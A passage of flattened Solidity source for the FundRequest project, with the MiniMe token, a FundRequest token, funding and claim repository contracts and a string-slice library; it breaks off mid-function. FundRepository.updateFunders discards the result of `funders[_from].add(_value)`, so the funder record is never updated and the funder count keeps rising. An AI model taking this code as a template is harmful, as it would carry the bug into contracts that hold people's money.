// Davy Van Roy <davy.van.roy@gmail.com>
// Quinten De Swaef <quinten.de.swaef@gmail.com>
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
/// @dev `Owned` is a base level contract that assigns an `owner` that can be
/// later changed
contract Owned {
/// @dev `owner` is the only address that can call a function with this
/// modifier
modifier onlyOwner { require (msg.sender == owner); _; }
address public owner;
/// @notice The Constructor assigns the message sender to be `owner`
function Owned() public { owner = msg.sender;}
/// @notice `owner` can step down and assign some other address to this role
/// @param _newOwner The address of the new owner. 0x0 can be used to create
/// an unowned neutral vault, however that cannot be undone
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Controlled {
/// @notice The address of the controller is the only address that can call
/// a function with this modifier
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
/// @notice Changes the controller of the contract
/// @param _newController The new controller of the contract
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
/// @dev The token controller contract must implement these functions
contract TokenController {
/// @notice Called when `_owner` sends ether to the MiniMe Token contract
/// @param _owner The address that sent the ether to create tokens
/// @return True if the ether is accepted, false if it throws
function proxyPayment(address _owner) public payable returns(bool);
/// @notice Notifies the controller about a token transfer allowing the
/// controller to react if desired
/// @param _from The origin of the transfer
/// @param _to The destination of the transfer
/// @param _amount The amount of the transfer
/// @return False if the controller does not authorize the transfer
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
/// @notice Notifies the controller about an approval allowing the
/// controller to react if desired
/// @param _owner The address that calls `approve()`
/// @param _spender The spender in the `approve()` call
/// @param _amount The amount in the `approve()` call
/// @return False if the controller does not authorize the approval
function onApprove(address _owner, address _spender, uint _amount)
public
returns(bool);
}
/// @dev This contract is used to generate clone contracts from a contract.
/// In solidity this is the way to create a contract from a contract of the
/// same class
contract MiniMeTokenFactory {
/// @notice Update the DApp by creating a new token with new functionalities
/// the msg.sender becomes the controller of this clone token
/// @param _parentToken Address of the token being cloned
/// @param _snapshotBlock Block of the parent token that will
/// determine the initial distribution of the clone token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
/// @return The address of the new token contract
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken)
{
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
/// @title MiniMeToken Contract
/// @author Jordi Baylina
/// @dev This token contract's goal is to make it easy for anyone to clone this
/// token using the token distribution at a given block, this will allow DAO's
/// and DApps to upgrade their features in a decentralized manner without
/// affecting the original token
/// @dev It is ERC20 compliant, but still needs to under go further testing.
/// @dev The actual token contract, the default controller is the msg.sender
/// that deploys the contract, so usually this token will be deployed by a
/// token controller contract, which Giveth will call a "Campaign"
contract MiniMeToken is Controlled {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
string public version = "1.0.0";
/// @dev `Checkpoint` is the structure that attaches a block number to a
/// given value, the block number attached is the one that last changed the
/// value
struct Checkpoint {
// `fromBlock` is the block number that the value was generated from
uint128 fromBlock;
// `value` is the amount of tokens at a specific block number
uint128 value;
}
// `parentToken` is the Token address that was cloned to produce this token;
// it will be 0x0 for a token that was not cloned
MiniMeToken public parentToken;
// `parentSnapShotBlock` is the block number from the Parent Token that was
// used to determine the initial distribution of the Clone Token
uint public parentSnapShotBlock;
// `creationBlock` is the block number that the Clone Token was created
uint public creationBlock;
// `balances` is the map that tracks the balance of each address, in this
// contract when the balance changes the block number that the change
// occurred is also included in the map
mapping (address => Checkpoint[]) balances;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) allowed;
// Tracks the history of the `totalSupply` of the token
Checkpoint[] totalSupplyHistory;
// Flag that determines if the token is transferable or not.
bool public transfersEnabled;
// The factory used to create new clone tokens
MiniMeTokenFactory public tokenFactory;
////////////////
// Constructor
////////////////
/// @notice Constructor to create a MiniMeToken
/// @param _tokenFactory The address of the MiniMeTokenFactory contract that
/// will create the Clone token contracts, the token factory needs to be
/// deployed first
/// @param _parentToken Address of the parent token, set to 0x0 if it is a
/// new token
/// @param _parentSnapShotBlock Block of the parent token that will
/// determine the initial distribution of the clone token, set to 0 if it
/// is a new token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public
{
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName; // Set the name
decimals = _decimalUnits; // Set the decimals
symbol = _tokenSymbol; // Set the symbol
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
///////////////////
// ERC20 Methods
///////////////////
/// @notice Send `_amount` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount)
public returns (bool success)
{
// The controller of this contract can move tokens around at will,
// this is important to recognize! Confirm that you trust the
// controller of this contract, which in most situations should be
// another open source smart contract or 0x0
if (msg.sender != controller) {
require(transfersEnabled);
// The standard ERC 20 transferFrom functionality
if (allowed[_from][msg.sender] < _amount) {
return false;
}
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool)
{
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
// Do not allow transfer to 0x0 or the token contract itself
require((_to != 0) && (_to != address(this)));
// If the amount being transfered is more than the balance of the
// account the transfer returns false
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
// Alerts the token controller of the transfer
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
// First update the balance array with the new value for the address
// sending the tokens
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
// Then update the balance array with the new value for the address
// receiving the tokens
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
// An event to make the transfer easy to find on the blockchain
Transfer(_from, _to, _amount);
return true;
}
/// @param _owner The address that's balance is being requested
/// @return The balance of `_owner` at the current block
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
return doApprove(_spender, _amount);
}
function doApprove(address _spender, uint256 _amount) internal returns (bool success) {
require(transfersEnabled);
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
/// @dev This function makes it easy to read the `allowed[]` map
/// @param _owner The address of the account that owns the token
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed
/// to spend
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success)
{
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
/// @dev This function makes it easy to get the total number of tokens
/// @return The total number of tokens
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
////////////////
// Query balance and totalSupply in History
////////////////
/// @dev Queries the balance of `_owner` at a specific `_blockNumber`
/// @param _owner The address from which the balance will be retrieved
/// @param _blockNumber The block number when the balance is queried
/// @return The balance at `_blockNumber`
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint)
{
// These next few lines are used when the balance of the token is
// requested before a check point was ever created for this token, it
// requires that the `parentToken.balanceOfAt` be queried at the
// genesis block for that token as this contains initial balance of
// this token
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
// Has no parent
return 0;
}
// This will return the expected balance during normal situations
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
/// @notice Total amount of tokens at a specific `_blockNumber`.
/// @param _blockNumber The block number when the totalSupply is queried
/// @return The total amount of tokens at `_blockNumber`
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
// These next few lines are used when the totalSupply of the token is
// requested before a check point was ever created for this token, it
// requires that the `parentToken.totalSupplyAt` be queried at the
// genesis block for this token as that contains totalSupply of this
// token at this block number.
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
// This will return the expected totalSupply during normal situations
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
////////////////
// Clone Token Method
////////////////
/// @notice Creates a new clone token with the initial distribution being
/// this token at `_snapshotBlock`
/// @param _cloneTokenName Name of the clone token
/// @param _cloneDecimalUnits Number of decimals of the smallest unit
/// @param _cloneTokenSymbol Symbol of the clone token
/// @param _snapshotBlock Block when the distribution of the parent token is
/// copied to set the initial distribution of the new clone token;
/// if the block is zero than the actual block, the current block is used
/// @param _transfersEnabled True if transfers are allowed in the clone
/// @return The address of the new MiniMeToken Contract
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address)
{
if (_snapshotBlock == 0) {
_snapshotBlock = block.number;
}
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
// An event to make the token easy to find on the blockchain
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
////////////////
// Generate and destroy tokens
////////////////
/// @notice Generates `_amount` tokens that are assigned to `_owner`
/// @param _owner The address that will be assigned the new tokens
/// @param _amount The quantity of tokens generated
/// @return True if the tokens are generated correctly
function generateTokens(address _owner, uint _amount)
public onlyController returns (bool)
{
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
/// @notice Burns `_amount` tokens from `_owner`
/// @param _owner The address that will lose the tokens
/// @param _amount The quantity of tokens to burn
/// @return True if the tokens are burned correctly
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool)
{
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
////////////////
// Enable tokens transfers
////////////////
/// @notice Enables token holders to transfer their tokens freely if true
/// @param _transfersEnabled True if transfers are allowed in the clone
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
////////////////
// Internal helper functions to query and set a value in a snapshot array
////////////////
/// @dev `getValueAt` retrieves the number of tokens at a given block number
/// @param checkpoints The history of values being queried
/// @param _block The block number to retrieve the value at
/// @return The number of tokens being queried
function getValueAt(Checkpoint[] storage checkpoints, uint _block)
constant internal returns (uint)
{
if (checkpoints.length == 0) {
return 0;
}
// Shortcut for the actual value
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
// Binary search of the value in the array
uint min = 0;
uint max = checkpoints.length - 1;
while (max > min) {
uint mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
/// @dev `updateValueAtNow` used to update the `balances` map and the
/// `totalSupplyHistory`
/// @param checkpoints The history of data being updated
/// @param _value The new number of tokens
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal
{
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length-1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
/// @dev Internal function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) {
return false;
}
assembly {
size := extcodesize(_addr)
}
return size>0;
}
/// @dev Helper function to return a min betwen the two uints
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
/// @notice The fallback function: If the contract's controller has not been
/// set to 0, then the `proxyPayment` method is called which relays the
/// ether and creates tokens as described in the token controller contract
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
//////////
// Safety Methods
//////////
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
////////////////
// Events
////////////////
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
// FundRequest Token
//
// @authors:
// Davy Van Roy <davy.van.roy@gmail.com>
// Quinten De Swaef <quinten.de.swaef@gmail.com>
//
// Security audit performed by LeastAuthority:
// https://github.com/FundRequest/audit-reports/raw/master/2018-02-06 - Least Authority - ICO Contracts Audit Report.pdf
contract FundRequestToken is MiniMeToken {
function FundRequestToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled)
public
MiniMeToken(
_tokenFactory,
_parentToken,
_parentSnapShotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled)
{
//constructor
}
function safeApprove(address _spender, uint256 _currentValue, uint256 _amount) public returns (bool success) {
require(allowed[msg.sender][_spender] == _currentValue);
return doApprove(_spender, _amount);
}
function isFundRequestToken() public pure returns (bool) {
return true;
}
}
/*
* Database Contract
* Davy Van Roy
* Quinten De Swaef
*/
contract FundRepository is Owned {
using SafeMath for uint256;
uint256 public totalNumberOfFunders;
mapping (address => uint256) funders;
uint256 public totalFunded;
uint256 public requestsFunded;
uint256 public totalBalance;
mapping (bytes32 => mapping (string => Funding)) funds;
mapping(address => bool) public callers;
struct Funding {
address[] funders;
mapping (address => uint256) balances;
uint256 totalBalance;
}
//modifiers
modifier onlyCaller {
require(callers[msg.sender]);
_;
}
function FundRepository() {
//constructor
}
function updateFunders(address _from, bytes32 _platform, string _platformId, uint256 _value) public onlyCaller {
bool existing = funds[_platform][_platformId].balances[_from] > 0;
if (!existing) {
funds[_platform][_platformId].funders.push(_from);
}
if (funders[_from] <= 0) {
totalNumberOfFunders = totalNumberOfFunders.add(1);
funders[_from].add(_value);
}
}
function updateBalances(address _from, bytes32 _platform, string _platformId, uint256 _value) public onlyCaller {
if (funds[_platform][_platformId].totalBalance <= 0) {
requestsFunded = requestsFunded.add(1);
}
funds[_platform][_platformId].balances[_from] = funds[_platform][_platformId].balances[_from].add(_value);
funds[_platform][_platformId].totalBalance = funds[_platform][_platformId].totalBalance.add(_value);
totalBalance = totalBalance.add(_value);
totalFunded = totalFunded.add(_value);
}
function resolveFund(bytes32 platform, string platformId) public onlyCaller returns (uint) {
var funding = funds[platform][platformId];
var requestBalance = funding.totalBalance;
totalBalance = totalBalance.sub(requestBalance);
for (uint i = 0; i < funding.funders.length; i++) {
var funder = funding.funders[i];
delete (funding.balances[funder]);
}
delete (funds[platform][platformId]);
return requestBalance;
}
//constants
function getFundInfo(bytes32 _platform, string _platformId, address _funder) public view returns (uint256, uint256, uint256) {
return (
getFunderCount(_platform, _platformId),
balance(_platform, _platformId),
amountFunded(_platform, _platformId, _funder)
);
}
function getFunderCount(bytes32 _platform, string _platformId) public view returns (uint){
return funds[_platform][_platformId].funders.length;
}
function amountFunded(bytes32 _platform, string _platformId, address _funder) public view returns (uint256){
return funds[_platform][_platformId].balances[_funder];
}
function balance(bytes32 _platform, string _platformId) view public returns (uint256) {
return funds[_platform][_platformId].totalBalance;
}
//management of the repositories
function updateCaller(address _caller, bool allowed) public onlyOwner {
callers[_caller] = allowed;
}
}
contract ClaimRepository is Owned {
using SafeMath for uint256;
mapping (bytes32 => mapping (string => Claim)) claims;
mapping(address => bool) public callers;
uint256 public totalBalanceClaimed;
uint256 public totalClaims;
//modifiers
modifier onlyCaller {
require(callers[msg.sender]);
_;
}
struct Claim {
address solverAddress;
string solver;
uint256 requestBalance;
}
function ClaimRepository() {
//constructor
}
function addClaim(address _solverAddress, bytes32 _platform, string _platformId, string _solver, uint256 _requestBalance) public onlyCaller returns (bool) {
claims[_platform][_platformId].solver = _solver;
claims[_platform][_platformId].solverAddress = _solverAddress;
claims[_platform][_platformId].requestBalance = _requestBalance;
totalBalanceClaimed = totalBalanceClaimed.add(_requestBalance);
totalClaims = totalClaims.add(1);
return true;
}
//management of the repositories
function updateCaller(address _caller, bool allowed) public onlyOwner {
callers[_caller] = allowed;
}
}
/*
* @title String & slice utility library for Solidity contracts.
* @author Nick Johnson <arachnid@notdot.net>
*
* @dev Functionality in this library is largely implemented using an
* abstraction called a 'slice'. A slice represents a part of a string -
* anything from the entire string to a single character, or even no
* characters at all (a 0-length slice). Since a slice only has to specify
* an offset and a length, copying and manipulating slices is a lot less
* expensive than copying and manipulating the strings they reference.
*
* To further reduce gas costs, most functions on slice that need to return
* a slice modify the original one instead of allocating a new one; for
* instance, `s.split(".")` will return the text up to the first '.',
* modifying s to only contain the remainder of the string after the '.'.
* In situations where you do not want to modify the original slice, you
* can make a copy first with `.copy()`, for example:
* `s.copy().split(".")`. Try and avoid using this idiom in loops; since
* Solidity has no memory management, it will result in allocating many
* short-lived slices that are later discarded.
*
* Functions that return two slices come in two versions: a non-allocating
* version that takes the second slice as an argument, modifying it in
* place, and an allocating version that allocates and returns the second
* slice; see `nextRune` for example.
*
* Functions that have to copy string data will return strings rather than
* slices; these can be cast back to slices for further processing if
* required.
*
* For convenience, some functions are provided with non-modifying
* variants that create a new slice and return both; for instance,
* `s.splitNew('.')` leaves s unmodified, and returns two values
* corresponding to the left and right parts of the string.
*/
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private {
// Copy word-length chunks while possible
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Returns a slice containing the entire string.
* @param self The string to make a slice from.
* @return A newly allocated slice containing the entire string.
*/
function toSlice(string self) internal returns (slice) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
/*
* @dev Returns the length of a null-terminated bytes32 string.
* @param self The value to find the length of.
* @return The length of the string, from 0 to 32.
*/
function len(bytes32 self) internal returns (uint) {
uint ret;
if (self == 0)
return 0;
if (self & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (self & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (self & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (self & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (self & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
/*
* @dev Returns a slice containing the entire bytes32, interpreted as a
* null-termintaed utf-8 string.
* @param self The bytes32 value to convert to a slice.
* @return A new slice containing the value of the input argument up to the
* first null.
*/
function toSliceB32(bytes32 self) internal returns (slice ret) {
// Allocate space for `self` in memory, copy it there, and point ret at it
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
/*
* @dev Returns a new slice containing the same data as the current slice.
* @param self The slice to copy.
* @return A new slice containing the same data as `self`.
*/
function copy(slice self) internal returns (slice) {
return slice(self._len, self._ptr);
}
/*
* @dev Copies a slice to a new string.
* @param self The slice to copy.
* @return A newly allocated string containing the slice's text.
*/
function toString(slice self) internal returns (string) {
var ret = new string(self._len);
uint retptr;
assembly {retptr := add(ret, 32)}
memcpy(retptr, self._ptr, self._len);
return ret;
}
/*
* @dev Returns the length in runes of the slice. Note that this operation
* takes time proportional to the length of the slice; avoid using it
* in loops, and call `slice.empty()` if you only need to know whether
* the slice is empty or not.
* @param self The slice to operate on.
* @return The length of the slice in runes.
*/
function len(slice self) internal returns (uint l) {
// Starting at ptr-31 means the LSB will be the byte we care about
var ptr = self._ptr - 31;
var end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly {b := and(mload(ptr), 0xFF)}
if (b < 0x80) {
ptr += 1;
}
else if (b < 0xE0) {
ptr += 2;
}
else if (b < 0xF0) {
ptr += 3;
}
else if (b < 0xF8) {
ptr += 4;
}
else if (b < 0xFC) {
ptr += 5;
}
else {
ptr += 6;
}
}
}
/*
* @dev Returns true if the slice is empty (has a length of 0).
* @param self The slice to operate on.
* @return True if the slice is empty, False otherwise.
*/
function empty(slice self) internal returns (bool) {
return self._len == 0;
}
/*
* @dev Returns a positive number if `other` comes lexicographically after
* `self`, a negative number if it comes before, or zero if the
* contents of the two slices are equal. Comparison is done per-rune,
* on unicode codepoints.
* @param self The first slice to compare.
* @param other The second slice to compare.
* @return The result of the comparison.
*/
function compare(slice self, slice other) internal returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
var selfptr = self._ptr;
var otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant bytes and check again
uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
var diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev Returns true if the two slices contain the same text.
* @param self The first slice to compare.
* @param self The second slice to compare.
* @return True if the slices are equal, false otherwise.
*/
function equals(slice self, slice other) internal returns (bool) {
return compare(self, other) == 0;
}
/*
* @dev Extracts the first rune in the slice into `rune`, advancing the
* slice to point to the next rune and returning `self`.
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextRune(slice self, slice rune) internal returns (slice) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint len;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly {b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)}
if (b < 0x80) {
len = 1;
}
else if (b < 0xE0) {
len = 2;
}
else if (b < 0xF0) {
len = 3;
}
else {
len = 4;
}
// Check for truncated codepoints
if (len > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += len;
self._len -= len;
rune._len = len;
return rune;
}
/*
* @dev Returns the first rune in the slice, advancing the slice to point
* to the next rune.
* @param self The slice to operate on.
* @return A slice containing only the first rune from `self`.
*/
function nextRune(slice self) internal returns (slice ret) {
nextRune(self, ret);
}
/*
* @dev Returns the number of the first codepoint in the slice.
* @param self The slice to operate on.
* @return The number of the first codepoint in the slice.
*/
function ord(slice self) internal returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly {word := mload(mload(add(self, 32)))}
var b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
}
else if (b < 0xE0) {
ret = b & 0x1F;
length = 2;
}
else if (b < 0xF0) {
ret = b & 0x0F;
length = 3;
}
else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/*
* @dev Returns the keccak-256 hash of the slice.
* @param self The slice to hash.
* @return The hash of the slice.
*/
function keccak(slice self) internal returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
/*
* @dev Returns true if `self` starts with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function startsWith(slice self, slice needle) internal returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function beyond(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, length), sha3(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
/*
* @dev Returns true if the slice ends with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function endsWith(slice self, slice needle) internal returns (bool) {
if (self._len < needle._len) {
return false;
}
var selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
/*
* @dev If `self` ends with `needle`, `needle` is removed from the
* end of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function until(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
var selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
